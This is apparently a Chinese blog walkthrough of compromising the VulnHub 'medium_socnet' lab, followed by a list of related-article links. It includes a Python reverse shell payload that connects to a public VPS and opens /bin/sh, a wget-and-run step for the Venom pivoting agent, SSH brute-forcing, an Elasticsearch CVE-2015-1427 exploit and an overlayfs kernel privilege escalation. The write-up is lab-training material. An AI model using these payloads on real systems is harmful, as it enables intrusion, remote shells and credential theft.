文章目录

  • 环境搭建
  • 信息收集
    • 主机发现:
    • 端口扫描
  • Web 渗透
    • (CVE-2019-14322)Pallets Werkzeug 0.15.4 路径遍历漏洞
    • 代码注入-反弹shell
    • 关于Dockerfile
    • 判断是否在Docker环境中:
      • Command SHELL 提升至 Meterpreter
      • 方法一
      • 方法二
  • Docker环境中存在内网环境
    • 内网主机探测
    • shell脚本-ping存活ip
    • 内网渗透-本地msf自动化
    • 手工 公网vps内网渗透
      • Venom 代理
  • 漏洞利用-内核提权-攻击代码修改
  • 思考及问题
  • 参考

关键词:主机发现 端口扫描 服务发现 路径爬取 代码注入 Shell脚本 内网信息收集 内网穿透 漏洞利用 密码破解 本地提权 攻击代码修改

环境搭建

官网下载地址(下载比较慢):https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
靶机百度云链接
第一次搭建时,进行主机探测,发现靶机只开了22 ssh服务,我寻思不能ssh爆破一下就结束了吧,查了一下资料,发现靶机还应该开放5000端口。遂重新下载导入了一次才正常(还有一种情况是连主机都探测不到,可能是网络适配器设置问题)

信息收集

主机发现:

arp-scan -l

端口扫描

nmap -sS -sV -T4 -A -p- 10.10.10.154

两种思路:1.ssh爆破 2.通过5000 端口 Python搭建的Web服务
ssh爆破:看运气

use auxiliary/scanner/ssh/ssh_login
set rhost 10.10.10.154
set USER_FILE user.txt
set PASS_FILE pass.txt
run

Web 渗透

dirsearch 扫一下

python3 dirsearch.py -u http://10.10.10.154:5000/ -e html js

插了一下xss 未解析
根据服务探测的信息

5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
|_http-title: Leave a message
网上找找相关漏洞 以对应版本

(CVE-2019-14322)Pallets Werkzeug 0.15.4 路径遍历漏洞

搜索一下Werkzeug历史漏洞,发现了这个
在0.15.5之前的Pallets Werkzeug中,shareddatmiddleware错误处理了Windows路径名中的驱动器名。
试了试Poc,不存在该漏洞

代码注入-反弹shell


根据页面提示,这里可能存在代码执行
反弹shell平台:https://forum.ywhack.com/shell.php

靶机是Python环境,尝试注入Python版本反弹shell命令


还有一个问题就是这里给出的代码都是以命令行的形式执行进行上线的,而靶机页面给出的提示是exec()函数执行,直接复制上去是无法反弹shell的。


保量中间参数部分才能正常上线

Payload

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.94.xx.xx",5566));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Python 中,分号也可以用于分隔多条语句;在这段代码中,分号用于将多个语句放在一行中,以便在执行代码时只需要复制粘贴一行代码
执行相关命令后,发现Dockerfile文件,意味着5555端口开的web服务可能在Docker中

关于Dockerfile

Dockerfile 定义镜像,依赖镜像来运行容器,因此 Dockerfile 是镜像和容器的关键
Dockerfile 是一个文本文件,其内包含了一条条的指令(Instruction),每一条指令构建一层,因此每一条指令的内容,就是描述该层应当如何构建

判断是否在Docker环境中:

方法一:判断根目录下 .dockerenv 文件

ls -alh /.dockerenv  #非docker环境,没有这个.dockerenv文件的


方法二:查询系统进程的cgroup信息

cat /proc/1/cgroup

Docker环境执行如下

非Docker 环境如下

实锤Dokcer环境

Command SHELL 提升至 Meterpreter

因为msf比较方便。所以将shell转交至msf中

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 6677
msf6 exploit(multi/handler) > exploit

另一个窗口监听本地6677端口,使用nc再次反弹过来

现在拿到的只有一个shell,但是怎么样才能使用msf其他功能呢? Upgrade Command Shell to Meterpreter

方法一

sesssions -u 1


但是这里很遗憾,在公网vps上没有提升成功
测试一下同局域网kali 可以

方法二

msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > exploit

这里还是没有提升成功,猜测可能是我用的公网vps的问题,使用本地kali可以

Docker环境中存在内网环境

内网主机探测

ip a


这里子网掩码有16位,意思就是主机数最多有2的16次方个

shell脚本-ping存活ip

for i in $(for j in $(seq 1 254));do ping -c 1 172.17.$i.$j;done #扫描65535个主机

因为是Docker环境,不至于会打开这么多镜像,所以只对c段的IP进行扫描

for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done


存活了三台主机除去自身的172.17.0.2,剩余两台172.17.0.1、172.17.0.3
因为直接从反弹的bash中无法使用其他工具进行内网渗透,所以这里我们使用代理

内网渗透-本地msf自动化

自动添加路由


添加代理

use auxiliary/server/socks_proxy
set SRVPORT 1234

修改proxychains 配置文件

vi /etc/proxychains.conf


然后使用proxychains 进行后续操作

本地kali进行服务探测比通过vps快多了

proxychains nmap -sV -sT 172.17.0.1

proxychains nmap -sV -sT 172.17.0.2


注意这里的9200 端口开启的htpp服务

proxychains nmap -sV -sT 172.17.0.3


这里还是有很多疑问的?

  • 1 和 3 主机都有5000端口以及相同服务 哪一个是10.10.154的内网ip?
  • 以及使用Docker搭建内网环境里面网络结构是什么样的?

在本地kali中使用自带的firefox条件socks 代理 访问 1和 3主机的5000端口以及 2的9200端口

配合在物理机访问10.10.10.154并进行留言,发现 1和3 都对应此网站

访问 172.17.0.2:9200端口

网上找以公开的elasticsearch 版本1.4.2 历史漏洞
找EXP直接利用
https://github.com/t0kx/exploit-CVE-2015-1427

直接是root 但这是一个POC好像
msf中可以搜到EXP

searchsploit  elasticsearch

proxychains python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2


拿到了一些用户及md5加密的密码,放到cmd5.com 进行解密

都能解密出来,有些需要付费……
可以登陆的是john:1337hack
这里可以使用ssh直接登陆
ssh登陆后发现是普通用户权限

手工 公网vps内网渗透

Venom 代理

https://github.com/Dliv3/Venom

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。
渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

开启服务端(VPS)

./admin_linux_x64 -lport 7777

Python开启临时的 http 服务,在靶机上通过文件下载并执行

python3 -m http.server 88  #注意在Venom文件目录下执行

在靶机shell中执行

wget http://47.94.130.42:88/agent_linux_x64
chmod +x agent_linux_x64
./agent_linux_x64 -rhost 47.94.130.42 -rport 7777 #启动客户端


服务端连接成功,获取到了一个会话,进入这个会话中,开启一个 socks 代理

当然,这里还是需要工具来进行流量转发 linux平台使用proxychains
windows 代理详见 代理Socks协议&路由不出网&后渗透通讯&CS-MSF控制上线
这里我使用本地kali 连接vps开启的Socks代理(工具方便)
修改配置文件:

vim /etc/proxychains.conf

proxychains nmap -sV -sT 172.17.0.1

这里未指定端口范围,于是进行一些常见服务及端口的扫描

proxychains nmap -sV -sT 172.17.0.1 -p 1-65535   #p参数可以指定端口范围


扫个一两分钟就可以了,如果不经过公网代理的话,速度可能会快一些,当然真实环境下需要控制扫描速率,以防被封代理ip 后面渗透步骤等同于上方msf自动化,不再做演示

漏洞利用-内核提权-攻击代码修改


这里自己上传了les.sh进行分析,寻找可以使用的漏洞,一开始利用的经典脏牛,进行编译的时候才发现靶机上没有gcc编译器,当然也没有权限进行包管理(安装gcc),寻思有没有其他编译器使用,如clang或者tcc,编译自己的漏洞利用程序,当然也是没有的,那么如果我在本地编译成可执行程序在进行上传呢?我们都知道linux不同架构编译出来的程序不能通用(指令集不同)。网上查资料GCC支持在一个计算机上同时编译多个架构的程序,也就是说使用GCC编译器在X86架构上编译的程序同样可以在ARM架构上运行。于是我将kali本地编译的脏牛漏洞上传至靶机上
显示缺少libstdc++库,尝试能不能 apt-get install libstdc++6 一下,答案是没有权限,那么能不能从kali上把该库文件复制过来使用呢?复制过来需要放到/usr/lib/目录下,不然程序无法正常调用,然而该目录是禁止普通用户访问的。 走投无路了属于是,看到靶场提示的攻击代码修改,突然想到更改脏牛源代码使其调用自己放置的库文件,然后重新编译使用似乎可以。奈何自己内功不够,对着C语言源码看了一会不知所措……(脏牛EXP源代码中没有库利用痕迹,更换其他漏洞进行提权吧)

**这是其他大佬利用的漏洞 ‘overlayfs’ Local Privilege Escalation **
适用linux内核版本:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)
EXP在kali中的位置

/usr/share/exploitdb/exploits/linux/local/37292.c


删除虚影部分代码,在kali中编译好,报错是正常现象,也会生成程序
按照上方思路,定位ofs-lib.so文件并一起打包放置靶机中,赋权后执行

locate ofs-lib.so
/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so

思考及问题

msf 漏洞利用不熟练
对Docker搭建内网环境不熟悉
看到docker环境后没有尝试一些逃逸方法,因为看到靶机介绍并未有逃逸这一关键词,真实环境下应该尝试能否逃逸
修改EXP水平不够,对于库文件的调用以及编译过程不熟悉
一个靶机打一天 emmm
文章内容有不足的地方后续会补充

参考

https://www.freebuf.com/articles/web/321995.html

                                                                                         2023-3-24 留念 by whgojp

【vulhub靶场】medium_socnet相关推荐

  1. Vulhub 靶场下载使用

    Vulhub 靶场安装_Gjqhs的博客-CSDN博客 官网查找是否有此漏洞镜像 点击搜索结果即可查看对应信息以及复现利用方法 拉取方法 修改网址前面加git,后面操作大体跟上面官网步骤走即可(注意目 ...

  2. 搭建Vulhub靶场 【附图】

    目录 0x01简单概述 0x02安装环境 1. kali设置 2. 更新软件源中的所有软件列表 3. 安装https协议及CA证书 0x03安装步骤 一.安装Docker 1. 下载安装 2. 查看D ...

  3. kali中使用Docker搭建vulhub靶场和vulapps靶场(新手向)

    一. Docker安装与配置 1.Docker安装 sudo apt-get install -y docker-compose 2.查看版本 docker --version docker-comp ...

  4. 【踩坑】CentOS7部署Vulhub靶场后,在启动漏洞容器时弹出SELinux警告,致使网站无法正常执行文件上传功能。

    目录 1 背景 2 SELinux 概述 3 解决 参考文献 1 背景 为研究网络安全,本人准备在CentOS上部署Vulhub靶场来实现,部署过程参考文章<CentOS上部署Vulhub靶场& ...

  5. Vulhub 靶场搭建

    Vulhub 靶场搭建 简介 Make vulnerability environments easier Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录 ...

  6. Vulhub靶场搭建

    Vulhub靶场搭建 1. 环境准备 VMware虚拟机.linux镜像(Centos7) 2. 配置yum源为阿里云,安装软件时经常出现Could not resolve host:mirrorli ...

  7. vulhub靶场搭建+docker环境搭建详解(最稳定方式)

    安装vulhub靶场,首先到其官网下载,也可以直接拉去,我是下载通过xshell上传的,主要是docker环境很麻烦 这里我建议直接离线安装,在线安装有各种乱七八糟问题,特别是安装docker-com ...

  8. 【环境搭建】CentOS上部署Vulhub靶场

    目录 0 前言 1 安装 1.1 在虚拟机中安装CentOS 1.2 安装Docker 1.3 安装docker-compose 1.4 安装Vulhub 1.5 修改镜像源 1.6 设置快照 2 启 ...

  9. centos7ubuntu搭建Vulhub靶场(推荐Ubuntu)

    这里写目录标题 一.前言总结 二.成功操作: 三.出现报错: 四.vulhub使用 正文: 一.前言总结 二.成功操作: 三.出现报错: 四.vulhub使用 看完点赞关注不迷路!!!! 后续继续更新 ...

最新文章

  1. java new string 图_Java中String直接赋字符串和new String的一些问题
  2. 用leangoo敏捷开发看板工具做技术支持
  3. Android零碎知识点-更新中
  4. maven 工程依赖了某个jar包 但还是报java.lang.ClassNotFoundException的问题
  5. 玩转Linux压缩及归档
  6. 使用python数据分析_如何使用Python提升您的数据分析技能
  7. cmake 常用命令
  8. mvc试图 下拉框不重复_面试前不巩固一下基础知识、刷刷题吗?
  9. Python中的字符串与字符编码
  10. jquery 获取select框选中的值示例一则
  11. java摄像头推流,流媒体服务 javaCV-2 推流
  12. APQC 7.0.5通用版流程框架
  13. 测试工具(一)——Abbot 测试SWT
  14. windows安装和配置阿帕奇+PHP服务器
  15. aardio - 【库】FlexCell表格组件
  16. 大芒果单机修改服务器名字,大芒果服务器怎么创建GM账号?
  17. 【Matlab编程】新手入门第五天
  18. Verilog学习笔记(5):Verilog高级程序设计
  19. 第一章-总论财务管理概述
  20. powerdesigner 生成sql文件

热门文章

  1. Tiny4412汇编流水灯代码,Tiny4412裸机LED操作[1]
  2. python ai自动剪辑视频_你知道吗?Python也可以剪辑视频!
  3. 前台EasyUI哪些事一
  4. 计算机科学荣誉理学学士学位,伦敦大学金史密斯学院计算机科学本科讲述.pdf...
  5. 游戏最终排名预测--kaggle项目笔记
  6. 卷积神经网络AlexNet和ResNet比较[2021论文]
  7. 网络 打开一个浏览器网页都要什么协议
  8. nRF52832-Bluefruit52学习之MicroPython开发(1)-- 简介
  9. matlab仿真及分析,CSMACD性能分析及MATLAB仿真.pdf
  10. Sequelize 中文API文档